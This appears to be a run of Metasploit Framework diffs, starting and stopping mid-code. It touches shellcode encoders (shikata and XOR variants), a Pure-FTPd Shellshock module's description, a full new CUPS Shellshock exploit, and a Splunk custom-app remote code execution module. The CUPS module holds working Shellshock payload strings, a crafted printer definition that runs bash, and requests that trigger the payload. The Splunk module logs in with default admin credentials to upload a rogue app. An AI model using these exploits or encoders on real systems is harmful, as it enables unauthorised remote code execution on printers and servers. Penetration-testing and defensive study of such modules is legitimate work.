def on_client_command_cwd(c,arg)
|
||||
|
||||
print_status("#{@state[c][:name]} -> CWD #{arg}")
|
||||
|
||||
if not @state[c][:auth]
|
||||
c.put "500 Access denied\r\n"
|
||||
return
|
||||
end
|
||||
|
||||
upath = "/"
|
||||
npath = ::File.join(@state[c][:cwd], arg)
|
||||
bpath = npath[upath.length, npath.length - upath.length]
|
||||
|
||||
# Check for traversal above the root directory
|
||||
if not (npath[0, upath.length] == upath or bpath == '')
|
||||
bpath = '/'
|
||||
end
|
||||
|
||||
bpath = '/' if bpath == ''
|
||||
@state[c][:cwd] = bpath
|
||||
|
||||
c.put "250 CWD command successful.\r\n"
|
||||
end
|
||||
end
|
|
@ -28,6 +28,12 @@ class Metasploit3 < Msf::Encoder::Xor
|
|||
# the buffer being encoded
|
||||
#
|
||||
def decoder_stub(state)
|
||||
|
||||
# Sanity check that saved_registers doesn't overlap with modified_registers
|
||||
if (modified_registers & saved_registers).length > 0
|
||||
raise BadGenerateError
|
||||
end
|
||||
|
||||
decoder =
|
||||
Rex::Arch::X86.sub(-(((state.buf.length - 1) / 4) + 1), Rex::Arch::X86::ECX,
|
||||
state.badchars) +
|
||||
|
@ -44,4 +50,19 @@ class Metasploit3 < Msf::Encoder::Xor
|
|||
return decoder
|
||||
end
|
||||
|
||||
# Indicate that this module can preserve some registers
|
||||
def preserves_registers?
|
||||
true
|
||||
end
|
||||
|
||||
# A list of registers always touched by this encoder
|
||||
def modified_registers
|
||||
[ Rex::Arch::X86::ECX, Rex::Arch::X86::EAX, Rex::Arch::X86::ESI ]
|
||||
end
|
||||
|
||||
# Convert the SaveRegisters to an array of x86 register constants
|
||||
def saved_registers
|
||||
Rex::Arch::X86.register_names_to_ids(datastore['SaveRegisters'])
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -30,16 +30,22 @@ class Metasploit3 < Msf::Encoder::Xor
|
|||
# being encoded.
|
||||
#
|
||||
def decoder_stub(state)
|
||||
|
||||
# Sanity check that saved_registers doesn't overlap with modified_registers
|
||||
if (modified_registers & saved_registers).length > 0
|
||||
raise BadGenerateError
|
||||
end
|
||||
|
||||
decoder =
|
||||
Rex::Arch::X86.set(
|
||||
Rex::Arch::X86::ECX,
|
||||
state.buf.length - 1,
|
||||
state.badchars) +
|
||||
"\xe8\xff\xff\xff" + # call $+4
|
||||
"\xff\xc1" + # inc ecx
|
||||
"\x5e" + # pop esi
|
||||
"\x30\x4c\x0e\x07" + # xor_loop: xor [esi + ecx + 0x07], cl
|
||||
"\xe2\xfa" # loop xor_loop
|
||||
"\xe8\xff\xff\xff" + # call $+4
|
||||
"\xff\xc1" + # inc ecx
|
||||
"\x5e" + # pop esi
|
||||
"\x30\x4c\x0e\x07" + # xor_loop: xor [esi + ecx + 0x07], cl
|
||||
"\xe2\xfa" # loop xor_loop
|
||||
|
||||
# Initialize the state context to 1
|
||||
state.context = 1
|
||||
|
@ -57,4 +63,18 @@ class Metasploit3 < Msf::Encoder::Xor
|
|||
[ block.unpack('C')[0] ^ (state.context - 1) ].pack('C')
|
||||
end
|
||||
|
||||
# Indicate that this module can preserve some registers
|
||||
def preserves_registers?
|
||||
true
|
||||
end
|
||||
|
||||
# A list of registers always touched by this encoder
|
||||
def modified_registers
|
||||
[ Rex::Arch::X86::ECX, Rex::Arch::X86::ESI ]
|
||||
end
|
||||
|
||||
# Convert the SaveRegisters to an array of x86 register constants
|
||||
def saved_registers
|
||||
Rex::Arch::X86.register_names_to_ids(datastore['SaveRegisters'])
|
||||
end
|
||||
end
|
||||
|
|
|
@ -31,6 +31,12 @@ class Metasploit3 < Msf::Encoder::Xor
|
|||
# being encoded.
|
||||
#
|
||||
def decoder_stub(state)
|
||||
|
||||
# Sanity check that saved_registers doesn't overlap with modified_registers
|
||||
if (modified_registers & saved_registers).length > 0
|
||||
raise BadGenerateError
|
||||
end
|
||||
|
||||
decoder =
|
||||
Rex::Arch::X86.set(
|
||||
Rex::Arch::X86::ECX,
|
||||
|
@ -48,4 +54,18 @@ class Metasploit3 < Msf::Encoder::Xor
|
|||
return decoder
|
||||
end
|
||||
|
||||
# Indicate that this module can preserve some registers
|
||||
def preserves_registers?
|
||||
true
|
||||
end
|
||||
|
||||
# A list of registers always touched by this encoder
|
||||
def modified_registers
|
||||
[ Rex::Arch::X86::EBX, Rex::Arch::X86::ECX ]
|
||||
end
|
||||
|
||||
# Convert the SaveRegisters to an array of x86 register constants
|
||||
def saved_registers
|
||||
Rex::Arch::X86.register_names_to_ids(datastore['SaveRegisters'])
|
||||
end
|
||||
end
|
||||
|
|
|
@ -37,9 +37,16 @@ class Metasploit3 < Msf::Encoder::XorAdditiveFeedback
|
|||
# Generates the shikata decoder stub.
|
||||
#
|
||||
def decoder_stub(state)
|
||||
|
||||
# If the decoder stub has not already been generated for this state, do
|
||||
# it now. The decoder stub method may be called more than once.
|
||||
if (state.decoder_stub == nil)
|
||||
|
||||
# Sanity check that saved_registers doesn't overlap with modified_registers
|
||||
if (modified_registers & saved_registers).length > 0
|
||||
raise BadGenerateError
|
||||
end
|
||||
|
||||
# Shikata will only cut off the last 1-4 bytes of it's own end
|
||||
# depending on the alignment of the original buffer
|
||||
cutoff = 4 - (state.buf.length & 3)
|
||||
|
@ -61,6 +68,27 @@ class Metasploit3 < Msf::Encoder::XorAdditiveFeedback
|
|||
state.decoder_stub
|
||||
end
|
||||
|
||||
# Indicate that this module can preserve some registers
|
||||
def preserves_registers?
|
||||
true
|
||||
end
|
||||
|
||||
# A list of registers always touched by this encoder
|
||||
def modified_registers
|
||||
# ESP is assumed and is handled through preserves_stack?
|
||||
[
|
||||
# The counter register is hardcoded
|
||||
Rex::Arch::X86::ECX,
|
||||
# These are modified by div and mul operations
|
||||
Rex::Arch::X86::EAX, Rex::Arch::X86::EDX
|
||||
]
|
||||
end
|
||||
|
||||
# Always blacklist these registers in our block generation
|
||||
def block_generator_register_blacklist
|
||||
[Rex::Arch::X86::ESP, Rex::Arch::X86::ECX] | saved_registers
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
#
|
||||
|
@ -251,15 +279,18 @@ protected
|
|||
loop_inst.depends_on(loop_block)
|
||||
|
||||
begin
|
||||
# Generate a permutation saving the ECX and ESP registers
|
||||
loop_inst.generate([
|
||||
Rex::Arch::X86::ESP,
|
||||
Rex::Arch::X86::ECX ], nil, state.badchars)
|
||||
# Generate a permutation saving the ECX, ESP, and user defined registers
|
||||
loop_inst.generate(block_generator_register_blacklist, nil, state.badchars)
|
||||
rescue RuntimeError => e
|
||||
raise EncodingError
|
||||
end
|
||||
end
|
||||
|
||||
# Convert the SaveRegisters to an array of x86 register constants
|
||||
def saved_registers
|
||||
Rex::Arch::X86.register_names_to_ids(datastore['SaveRegisters'])
|
||||
end
|
||||
|
||||
def sub_immediate(regnum, imm)
|
||||
return "" if imm.nil? or imm == 0
|
||||
if imm > 255 or imm < -255
|
||||
|
|
|
@ -3,6 +3,12 @@
|
|||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
#
|
||||
# Project
|
||||
#
|
||||
|
||||
require 'msf/core/exploit/local/linux'
|
||||
|
||||
class Metasploit4 < Msf::Exploit::Local
|
||||
Rank = GreatRanking
|
||||
|
||||
|
|
|
@ -15,10 +15,13 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
super(update_info(info,
|
||||
'Name' => 'Pure-FTPd External Authentication Bash Environment Variable Code Injection',
|
||||
'Description' => %q(
|
||||
This module exploits the code injection flaw known as shellshock which
|
||||
leverages specially crafted environment variables in Bash. This exploit
|
||||
specifically targets Pure-FTPd when configured to use an external
|
||||
program for authentication.
|
||||
This module exploits the code injection flaw known as Shellshock, which leverages specially
|
||||
crafted environment variables in Bash.
|
||||
|
||||
Please note that this exploit specifically targets Pure-FTPd compiled with the --with-extauth
|
||||
flag, and an external Bash program for authentication. If the server is not set up this way,
|
||||
understand that even if the operating system is vulnerable to Shellshock, it cannot be
|
||||
exploited via Pure-FTPd.
|
||||
),
|
||||
'Author' =>
|
||||
[
|
||||
|
@ -31,7 +34,8 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
['CVE', '2014-6271'],
|
||||
['OSVDB', '112004'],
|
||||
['EDB', '34765'],
|
||||
['URL', 'https://gist.github.com/jedisct1/88c62ee34e6fa92c31dc']
|
||||
['URL', 'https://gist.github.com/jedisct1/88c62ee34e6fa92c31dc'],
|
||||
['URL', 'http://download.pureftpd.org/pub/pure-ftpd/doc/README.Authentication-Modules']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
|
|
|
@ -0,0 +1,273 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit4 < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'CUPS Filter Bash Environment Variable Code Injection',
|
||||
'Description' => %q{
|
||||
This module exploits Shellshock, a post-authentication code injection vulnerability
|
||||
in specially crafted environment variables in Bash. It specifically targets
|
||||
CUPS filters through the PRINTER_INFO and PRINTER_LOCATION variables by default.
|
||||
},
|
||||
'Author' => [
|
||||
'Stephane Chazelas', # Vulnerability discovery
|
||||
'lcamtuf', # CVE-2014-6278
|
||||
'Brendan Coles <bcoles[at]gmail.com>' # msf
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2014-6271'],
|
||||
['CVE', '2014-6278'],
|
||||
['EDB', '34765'],
|
||||
['URL', 'https://access.redhat.com/articles/1200223'],
|
||||
['URL', 'http://seclists.org/oss-sec/2014/q3/649']
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Arch' => ARCH_CMD,
|
||||
'Platform' => 'unix',
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024,
|
||||
'BadChars' => "\x00\x0A\x0D",
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic bash awk ruby'
|
||||
},
|
||||
# Tested:
|
||||
# - CUPS version 1.4.3 on Ubuntu 10.04 (x86)
|
||||
# - CUPS version 1.5.3 on Debian 7 (x64)
|
||||
# - CUPS version 1.6.2 on Fedora 19 (x64)
|
||||
# - CUPS version 1.7.2 on Ubuntu 14.04 (x64)
|
||||
'Targets' => [[ 'Automatic Targeting', { 'auto' => true } ]],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Sep 24 2014',
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
register_options([
|
||||
Opt::RPORT(631),
|
||||
OptBool.new('SSL', [ true, 'Use SSL', true ]),
|
||||
OptString.new('USERNAME', [ true, 'CUPS username', 'root']),
|
||||
OptString.new('PASSWORD', [ true, 'CUPS user password', '']),
|
||||
OptEnum.new('CVE', [ true, 'CVE to exploit', 'CVE-2014-6271', ['CVE-2014-6271', 'CVE-2014-6278'] ]),
|
||||
OptString.new('RPATH', [ true, 'Target PATH for binaries', '/bin' ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# CVE-2014-6271
|
||||
#
|
||||
def cve_2014_6271(cmd)
|
||||
%{() { :;}; $(#{cmd}) & }
|
||||
end
|
||||
|
||||
#
|
||||
# CVE-2014-6278
|
||||
#
|
||||
def cve_2014_6278(cmd)
|
||||
%{() { _; } >_[$($())] { echo -e "\r\n$(#{cmd})\r\n" ; }}
|
||||
end
|
||||
|
||||
#
|
||||
# Check credentials
|
||||
#
|
||||
def check
|
||||
@cookie = rand_text_alphanumeric(16)
|
||||
printer_name = rand_text_alphanumeric(10 + rand(5))
|
||||
res = add_printer(printer_name, '')
|
||||
if !res
|
||||
vprint_error("#{peer} - No response from host")
|
||||
return Exploit::CheckCode::Unknown
|
||||
elsif res.headers['Server'] =~ /CUPS\/([\d\.]+)/
|
||||
vprint_status("#{peer} - Found CUPS version #{$1}")
|
||||
else
|
||||
print_status("#{peer} - Target is not a CUPS web server")
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
if res.body =~ /Set Default Options for #{printer_name}/
|
||||
vprint_good("#{peer} - Added printer successfully")
|
||||
delete_printer(printer_name)
|
||||
elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
|
||||
vprint_error("#{peer} - Authentication failed")
|
||||
elsif res.code == 426
|
||||
vprint_error("#{peer} - SSL required - set SSL true")
|
||||
end
|
||||
Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
#
|
||||
# Exploit
|
||||
#
|
||||
def exploit
|
||||
@cookie = rand_text_alphanumeric(16)
|
||||
printer_name = rand_text_alphanumeric(10 + rand(5))
|
||||
|
||||
# Select target CVE
|
||||
case datastore['CVE']
|
||||
when 'CVE-2014-6278'
|
||||
cmd = cve_2014_6278(payload.raw)
|
||||
else
|
||||
cmd = cve_2014_6271(payload.raw)
|
||||
end
|
||||
|
||||
# Add a printer containing the payload
|
||||
# with a CUPS filter pointing to /bin/bash
|
||||
res = add_printer(printer_name, cmd)
|
||||
if !res
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not add printer - Connection failed.")
|
||||
elsif res.body =~ /Set Default Options for #{printer_name}/
|
||||
print_good("#{peer} - Added printer successfully")
|
||||
elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
|
||||
fail_with(Failure::NoAccess, "#{peer} - Could not add printer - Authentication failed.")
|
||||
elsif res.code == 426
|
||||
fail_with(Failure::BadConfig, "#{peer} - Could not add printer - SSL required - set SSL true.")
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Could not add printer.")
|
||||
end
|
||||
|
||||
# Add a test page to the print queue.
|
||||
# The print job triggers execution of the bash filter
|
||||
# which executes the payload in the environment variables.
|
||||
res = print_test_page(printer_name)
|
||||
if !res
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not add test page to print queue - Connection failed.")
|
||||
elsif res.body =~ /Test page sent; job ID is/
|
||||
vprint_good("#{peer} - Added test page to printer queue")
|
||||
elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
|
||||
fail_with(Failure::NoAccess, "#{peer} - Could not add test page to print queue - Authentication failed.")
|
||||
elsif res.code == 426
|
||||
fail_with(Failure::BadConfig, "#{peer} - Could not add test page to print queue - SSL required - set SSL true.")
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Could not add test page to print queue.")
|
||||
end
|
||||
|
||||
# Delete the printer
|
||||
res = delete_printer(printer_name)
|
||||
if !res
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not delete printer - Connection failed.")
|
||||
elsif res.body =~ /has been deleted successfully/
|
||||
print_status("#{peer} - Deleted printer '#{printer_name}' successfully")
|
||||
elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
|
||||
vprint_warning("#{peer} - Could not delete printer '#{printer_name}' - Authentication failed.")
|
||||
elsif res.code == 426
|
||||
vprint_warning("#{peer} - Could not delete printer '#{printer_name}' - SSL required - set SSL true.")
|
||||
else
|
||||
vprint_warning("#{peer} - Could not delete printer '#{printer_name}'")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Add a printer to CUPS
|
||||
#
|
||||
def add_printer(printer_name, cmd)
|
||||
vprint_status("#{peer} - Adding new printer '#{printer_name}'")
|
||||
|
||||
ppd_name = "#{rand_text_alphanumeric(10 + rand(5))}.ppd"
|
||||
ppd_file = <<-EOF
|
||||
*PPD-Adobe: "4.3"
|
||||
*%==== General Information Keywords ========================
|
||||
*FormatVersion: "4.3"
|
||||
*FileVersion: "1.00"
|
||||
*LanguageVersion: English
|
||||
*LanguageEncoding: ISOLatin1
|
||||
*PCFileName: "#{ppd_name}"
|
||||
*Manufacturer: "Brother"
|
||||
*Product: "(Brother MFC-3820CN)"
|
||||
*1284DeviceID: "MFG:Brother;MDL:MFC-3820CN"
|
||||
*cupsVersion: 1.1
|
||||
*cupsManualCopies: False
|
||||
*cupsFilter: "application/vnd.cups-postscript 0 #{datastore['RPATH']}/bash"
|
||||
*cupsModelNumber: #{rand(10) + 1}
|
||||
*ModelName: "Brother MFC-3820CN"
|
||||
*ShortNickName: "Brother MFC-3820CN"
|
||||
*NickName: "Brother MFC-3820CN CUPS v1.1"
|
||||
*%
|
||||
*%==== Basic Device Capabilities =============
|
||||
*LanguageLevel: "3"
|
||||
*ColorDevice: True
|
||||
*DefaultColorSpace: RGB
|
||||
*FileSystem: False
|
||||
*Throughput: "12"
|
||||
*LandscapeOrientation: Plus90
|
||||
*VariablePaperSize: False
|
||||
*TTRasterizer: Type42
|
||||
*FreeVM: "1700000"
|
||||
|
||||
*DefaultOutputOrder: Reverse
|
||||
*%==== Media Selection ======================
|
||||
|
||||
*OpenUI *PageSize/Media Size: PickOne
|
||||
*OrderDependency: 18 AnySetup *PageSize
|
||||
*DefaultPageSize: BrLetter
|
||||
*PageSize BrA4/A4: "<</PageSize[595 842]/ImagingBBox null>>setpagedevice"
|
||||
*PageSize BrLetter/Letter: "<</PageSize[612 792]/ImagingBBox null>>setpagedevice"
|
||||
EOF
|
||||
|
||||
pd = Rex::MIME::Message.new
|
||||
pd.add_part(ppd_file, 'application/octet-stream', nil, %(form-data; name="PPD_FILE"; filename="#{ppd_name}"))
|
||||
pd.add_part("#{@cookie}", nil, nil, %(form-data; name="org.cups.sid"))
|
||||
pd.add_part("add-printer", nil, nil, %(form-data; name="OP"))
|
||||
pd.add_part("#{printer_name}", nil, nil, %(form-data; name="PRINTER_NAME"))
|
||||
pd.add_part("", nil, nil, %(form-data; name="PRINTER_INFO")) # injectable
|
||||
pd.add_part("#{cmd}", nil, nil, %(form-data; name="PRINTER_LOCATION")) # injectable
|
||||
pd.add_part("file:///dev/null", nil, nil, %(form-data; name="DEVICE_URI"))
|
||||
|
||||
data = pd.to_s
|
||||
data.strip!
|
||||
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'admin'),
|
||||
'ctype' => "multipart/form-data; boundary=#{pd.bound}",
|
||||
'data' => data,
|
||||
'cookie' => "org.cups.sid=#{@cookie};",
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
|
||||
)
|
||||
end
|
||||
|
||||
#
|
||||
# Queue a printer test page
|
||||
#
|
||||
def print_test_page(printer_name)
|
||||
vprint_status("#{peer} - Adding test page to printer queue")
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'printers', printer_name),
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'cookie' => "org.cups.sid=#{@cookie}",
|
||||
'vars_post' => {
|
||||
'org.cups.sid' => @cookie,
|
||||
'OP' => 'print-test-page'
|
||||
}
|
||||
)
|
||||
end
|
||||
|
||||
#
|
||||
# Delete a printer
|
||||
#
|
||||
def delete_printer(printer_name)
|
||||
vprint_status("#{peer} - Deleting printer '#{printer_name}'")
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'admin'),
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'cookie' => "org.cups.sid=#{@cookie}",
|
||||
'vars_post' => {
|
||||
'org.cups.sid' => @cookie,
|
||||
'OP' => 'delete-printer',
|
||||
'printer_name' => printer_name,
|
||||
'confirm' => 'Delete Printer'
|
||||
}
|
||||
)
|
||||
end
|
||||
|
||||
end
|
|
@ -11,23 +11,24 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Splunk 5.0 Custom App Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a feature of Splunk whereby a custom application can be
|
||||
uploaded through the web based interface. Through the 'script' search command a
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'Splunk Custom App Remote Code Execution',
|
||||
'Description' =>
|
||||
'This module exploits a feature of Splunk whereby a custom application can be
|
||||
uploaded through the web based interface. Through the \'script\' search command a
|
||||
user can call commands defined in their custom application which includes arbitrary
|
||||
perl or python code. To abuse this behavior, a valid Splunk user with the admin
|
||||
role is required. By default, this module uses the credential of "admin:changeme",
|
||||
the default Administrator credential for Splunk. Note that the Splunk web interface
|
||||
runs as SYSTEM on Windows, or as root on Linux by default. This module has only
|
||||
been tested successfully against Splunk 5.0.
|
||||
},
|
||||
runs as SYSTEM on Windows, or as root on Linux by default. This module has been
|
||||
tested successfully against Splunk 5.0, 6.1, and 6.1.1.',
|
||||
'Author' =>
|
||||
[
|
||||
"marcwickenden", # discovery and metasploit module
|
||||
"sinn3r", # metasploit module
|
||||
"juan vazquez" # metasploit module
|
||||
"juan vazquez", # metasploit module
|
||||
"Gary Blosser" # metasploit module updates for Splunk 6.1
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
|
@ -41,16 +42,16 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Space' => 1024,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => %w{ linux unix win },
|
||||
'Platform' => %w(linux unix win),
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Splunk 5.0.1 / Linux',
|
||||
[ 'Splunk >= 5.0.1 / Linux',
|
||||
{
|
||||
'Arch' => ARCH_CMD,
|
||||
'Platform' => %w{ linux unix }
|
||||
'Platform' => %w(linux unix)
|
||||
}
|
||||
],
|
||||
[ 'Splunk 5.0.1 / Windows',
|
||||
[ 'Splunk >= 5.0.1 / Windows',
|
||||
{
|
||||
'Arch' => ARCH_CMD,
|
||||
'Platform' => 'win'
|
||||
|
@ -62,9 +63,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
register_options(
|
||||
[
|
||||
Opt::RPORT(8000),
|
||||
OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as','admin' ]),
|
||||
OptString.new('PASSWORD', [ true, 'The password for the specified username','changeme' ]),
|
||||
OptPath.new('SPLUNK_APP_FILE',
|
||||
OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]),
|
||||
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'changeme' ]),
|
||||
OptPath.new(
|
||||
'SPLUNK_APP_FILE',
|
||||
[
|
||||
true,
|
||||
'The "rogue" Splunk application tgz',
|
||||
|
@ -96,6 +98,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# set up some variables for later use
|
||||
@auth_cookies = ''
|
||||
@csrf_form_key = ''
|
||||
@csrf_form_port = "splunkweb_csrf_token_#{rport}" # Default to using rport, corrected during tokenization for v6 below.
|
||||
app_name = 'upload_app_exec'
|
||||
p = payload.encoded
|
||||
print_status("Using command: #{p}")
|
||||
|
@ -118,14 +121,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# call our command execution function with the Splunk 'script' command
|
||||
print_status("Invoking script command")
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/en-US/api/search/jobs',
|
||||
'method' => 'POST',
|
||||
'cookie' => @auth_cookies,
|
||||
'cookie' => "#{@auth_cookies}; #{@csrf_form_port}=#{@csrf_form_key}", # Version 6 uses cookies and not just headers, extra cookies should be ignored by Splunk 5 (unverified)
|
||||
'headers' =>
|
||||
{
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'X-Splunk-Form-Key' => @csrf_form_key
|
||||
'X-Splunk-Form-Key' => @csrf_form_key # Version 6 ignores extra headers (verified)
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
|
@ -142,24 +144,24 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'latest_time' => "",
|
||||
'timeFormat' => "%s.%Q"
|
||||
}
|
||||
})
|
||||
)
|
||||
|
||||
if return_output
|
||||
res.body.match(/data":\ "([0-9.]+)"/)
|
||||
job_id = $1
|
||||
job_id = Regexp.last_match(1)
|
||||
|
||||
# wait a short time to let the output be produced
|
||||
print_status("Waiting for #{command_output_delay} seconds to retrieve command output")
|
||||
select(nil,nil,nil,command_output_delay)
|
||||
select(nil, nil, nil, command_output_delay)
|
||||
job_output = fetch_job_output(job_id)
|
||||
if job_output.body.match(/Waiting for data.../)
|
||||
print_status("No output returned in time")
|
||||
elsese
|
||||
else
|
||||
output = ""
|
||||
job_output.body.each_line do |line|
|
||||
# strip off the leading and trailing " added by Splunk
|
||||
line.gsub!(/^"/,"")
|
||||
line.gsub!(/"$/,"")
|
||||
line.gsub!(/^"/, "")
|
||||
line.gsub!(/"$/, "")
|
||||
output << line
|
||||
end
|
||||
|
||||
|
@ -181,7 +183,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'method' => 'GET'
|
||||
}, 25)
|
||||
|
||||
if res and res.body =~ /Splunk Inc\. Splunk/
|
||||
if res && res.body =~ /Splunk Inc\. Splunk/
|
||||
return Exploit::CheckCode::Detected
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
|
@ -192,18 +194,17 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("Authenticating...")
|
||||
# this method borrowed with thanks from splunk_mappy_exec.rb
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/en-US/account/login',
|
||||
'method' => 'GET'
|
||||
})
|
||||
)
|
||||
|
||||
cval = ''
|
||||
uid = ''
|
||||
session_id_port =
|
||||
session_id = ''
|
||||
if res and res.code == 200
|
||||
res.get_cookies.split(';').each {|c|
|
||||
c.split(',').each {|v|
|
||||
if res && res.code == 200
|
||||
res.get_cookies.split(';').each do |c|
|
||||
c.split(',').each do |v|
|
||||
if v.split('=')[0] =~ /cval/
|
||||
cval = v.split('=')[1]
|
||||
elsif v.split('=')[0] =~ /uid/
|
||||
|
@ -212,14 +213,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
session_id_port = v.split('=')[0]
|
||||
session_id = v.split('=')[1]
|
||||
end
|
||||
}
|
||||
}
|
||||
end
|
||||
end
|
||||
else
|
||||
fail_with(Failure::NotFound, "Unable to get session cookies")
|
||||
end
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/en-US/account/login',
|
||||
'method' => 'POST',
|
||||
'cookie' => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}",
|
||||
|
@ -229,21 +229,21 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'username' => @username,
|
||||
'password' => @password
|
||||
}
|
||||
})
|
||||
)
|
||||
|
||||
if not res or res.code != 303
|
||||
fail_with(Failure::NoAccess, "Unable to authenticate")
|
||||
if !res
|
||||
fail_with(Failure::Unreachable, "No response")
|
||||
else
|
||||
session_id_port = ''
|
||||
session_id = ''
|
||||
res.get_cookies.split(';').each {|c|
|
||||
c.split(',').each {|v|
|
||||
res.get_cookies.split(';').each do |c|
|
||||
c.split(',').each do |v|
|
||||
if v.split('=')[0] =~ /session_id/
|
||||
session_id_port = v.split('=')[0]
|
||||
session_id = v.split('=')[1]
|
||||
end
|
||||
}
|
||||
}
|
||||
end
|
||||
end
|
||||
@auth_cookies = "#{session_id_port}=#{session_id}"
|
||||
end
|
||||
end
|
||||
|
@ -271,15 +271,17 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
data << file_data
|
||||
data << "\r\n--#{boundary}--\r\n"
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => '/en-US/manager/appinstall/_upload',
|
||||
'method' => 'POST',
|
||||
'cookie' => @auth_cookies,
|
||||
'ctype' => "multipart/form-data; boundary=#{boundary}",
|
||||
'data' => data
|
||||
}, 30)
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/en-US/manager/appinstall/_upload',
|
||||
'method' => 'POST',
|
||||
# Does not seem to require the cookie, but it does not break it. I bet 6.2 will have a cookie here too.
|
||||
'cookie' => "#{@auth_cookies}; #{@csrf_form_port}=#{@csrf_form_key}",
|
||||
'ctype' => "multipart/form-data; boundary=#{boundary}",
|
||||
'data' => data
|
||||
}, 30)
|
||||
|
||||
if (res and (res.code == 303 or (res.code == 200 and res.body !~ /There was an error processing the upload/)))
|
||||
if res && (res.code == 303 || (res.code == 200 && res.body !~ /There was an error processing the upload/))
|
||||
print_status("#{app_name} successfully uploaded")
|
||||
else
|
||||
fail_with(Failure::Unknown, "Error uploading")
|
||||
|
@ -289,26 +291,35 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def do_get_csrf(uri)
|
||||
print_status("Fetching csrf token from #{uri}")
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => uri,
|
||||
'method' => 'GET',
|
||||
'cookie' => @auth_cookies
|
||||
})
|
||||
res.body.match(/FORM_KEY":\ "(\d+)"/)
|
||||
@csrf_form_key = $1
|
||||
fail_with(Failure::Unknown, "csrf form Key not found") if not @csrf_form_key
|
||||
)
|
||||
res.body.match(/FORM_KEY":\ "(\d+)"/) # Version 5
|
||||
@csrf_form_key = Regexp.last_match(1)
|
||||
|
||||
unless @csrf_form_key # Version 6
|
||||
res.get_cookies.split(';').each do |c|
|
||||
c.split(',').each do |v|
|
||||
if v.split('=')[0] =~ /splunkweb_csrf_token/ # regex as the full name is something like splunkweb_csrf_token_8000
|
||||
@csrf_form_port = v.split('=')[0] # Accounting for tunnels where rport is not the actual server-side port
|
||||
@csrf_form_key = v.split('=')[1]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
fail_with(Failure::Unknown, "csrf form Key not found") unless @csrf_form_key
|
||||
end
|
||||
|
||||
def fetch_job_output(job_id)
|
||||
